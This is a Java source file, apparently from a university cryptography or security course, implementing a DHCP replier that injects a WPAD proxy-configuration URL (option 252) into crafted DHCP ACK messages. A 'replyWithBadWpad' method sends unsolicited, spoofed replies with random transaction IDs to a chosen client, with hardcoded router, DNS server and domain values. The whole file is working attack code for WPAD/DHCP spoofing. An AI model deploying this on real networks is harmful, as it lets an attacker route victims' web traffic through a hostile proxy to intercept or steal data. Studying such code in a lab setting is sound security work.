package ar.uba.fi.crypto;

import java.io.IOException;
import java.net.InetAddress;
import java.net.UnknownHostException;

import edu.bucknell.net.JDHCP.DHCPMessage;
import edu.bucknell.net.JDHCP.DHCPSocket;

public class WPADReplier {
	private DHCPSocket socket;

	public WPADReplier(DHCPSocket socket) {
		this.socket = socket;
	}
	
	public void replyWithHealthyWpad(DHCPMessage dhcpOptsRequest, String wpadPath) throws IOException {
		DHCPMessage dhcpOptsReply = generateDHCPMessage(dhcpOptsRequest.getXid(), dhcpOptsRequest.getChaddr(), dhcpOptsRequest.getCiaddr(), wpadPath);
		socket.send(dhcpOptsReply);
	}

	private DHCPMessage generateDHCPMessage(int xid, byte[] chaddr, byte[] ciaddr, String wpadPath) throws UnknownHostException {
		DHCPMessage dhcpOptsReply = new DHCPMessage();
		InetAddress clientAddress = InetAddress.getByAddress(ciaddr);
		InetAddress serverAddress = InetAddress.getLocalHost(); 
		dhcpOptsReply.setDestinationHost(clientAddress.getHostAddress());	// target
		dhcpOptsReply.setPort(68);	// 68 es client
		dhcpOptsReply.setOp((byte) 2);	//  1 = BOOTREQUEST, 2 = BOOTREPLY
		dhcpOptsReply.setHtype((byte) 1);	// default
		dhcpOptsReply.setHlen((byte) 6);	// default
		dhcpOptsReply.setHops((byte) 0);	// default
		dhcpOptsReply.setXid(xid);
		dhcpOptsReply.setSecs((short) dhcpOptsReply.getSecs());
		dhcpOptsReply.setFlags((short) 0);

		dhcpOptsReply.setChaddr(chaddr);
		dhcpOptsReply.setYiaddr(chaddr);
		dhcpOptsReply.setSiaddr(serverAddress.getAddress());
		//giaddr, chaddr, sname, file

		byte[] opt = wpadPath.getBytes();
		dhcpOptsReply.setOption(252, opt);
		
		dhcpOptsReply.setOption(53, this.getBytesForAck());
		dhcpOptsReply.setOption(54, this.getBytesForDHCPIdentifyer());
		dhcpOptsReply.setOption(1, this.getBytesForSubNetMask());
		dhcpOptsReply.setOption(15, this.getBytesForDomainName());
		dhcpOptsReply.setOption(3, this.getBytesForRouter());
		dhcpOptsReply.setOption(6, this.getBytesForDomainNameServer());
		
		return dhcpOptsReply;
	}
	
	public void replyWithBadWpad(String wpadPath, byte[] chaddr, byte[] ciaddr) throws IOException {

		DHCPMessage dhcpOptsReply = generateDHCPMessage((int)(Math.random()*100000000), chaddr, ciaddr, wpadPath);
		socket.send(dhcpOptsReply);
		
	}

	
	private byte[] getBytesForDomainNameServer() {
		byte[] opt = new byte[4];
		opt[0] = (byte) 0xC0;
		opt[1] = (byte) 0xA8;
		opt[2] = (byte) 0x01;
		opt[3] = (byte) 0x63;
		return opt;
	}
	
	private byte[] getBytesForRouter() {
		byte[] opt = new byte[4];
		opt[0] = (byte) 0xC0;
		opt[1] = (byte) 0xA8;
		opt[2] = (byte) 0x01;
		opt[3] = (byte) 0x01;
		return opt;
	}

	private byte[] getBytesForDomainName() {
		byte[] opt = new byte[11];
		
		opt[0] = (byte) 0x72;
		opt[1] = (byte) 0x79;
		opt[2] = (byte) 0x64;
		opt[3] = (byte) 0x73;
		opt[4] = (byte) 0x61;
		opt[5] = (byte) 0x2e;
		opt[6] = (byte) 0x6c;
		opt[7] = (byte) 0x6f;
		opt[8] = (byte) 0x63;
		opt[9] = (byte) 0x61;
		opt[10] = (byte) 0x6c;
		return opt;
		
	}

	private byte[] getBytesForSubNetMask() {
		byte[] opt = new byte[4];
		opt[0] = (byte) 0xFF;
		opt[1] = (byte) 0xFF;
		opt[2] = (byte) 0xFF;
		opt[3] = (byte) 0x00;
		return opt;
	}

	private byte[] getBytesForDHCPIdentifyer() {
		byte[] opt = new byte[4];
		opt[0] = (byte) 0xC0;
		opt[1] = (byte) 0xA8;
		opt[2] = (byte) 0x01;
		opt[3] = (byte) 0x63;
		return opt;
	}

	private byte[] getBytesForAck() {
		byte[] opt = new byte[1];
		opt[0] = (byte) 0x05;
		return opt;
	}

	public byte[] getBytesFrom(String data){
		return data.getBytes();
	}
	
	
}
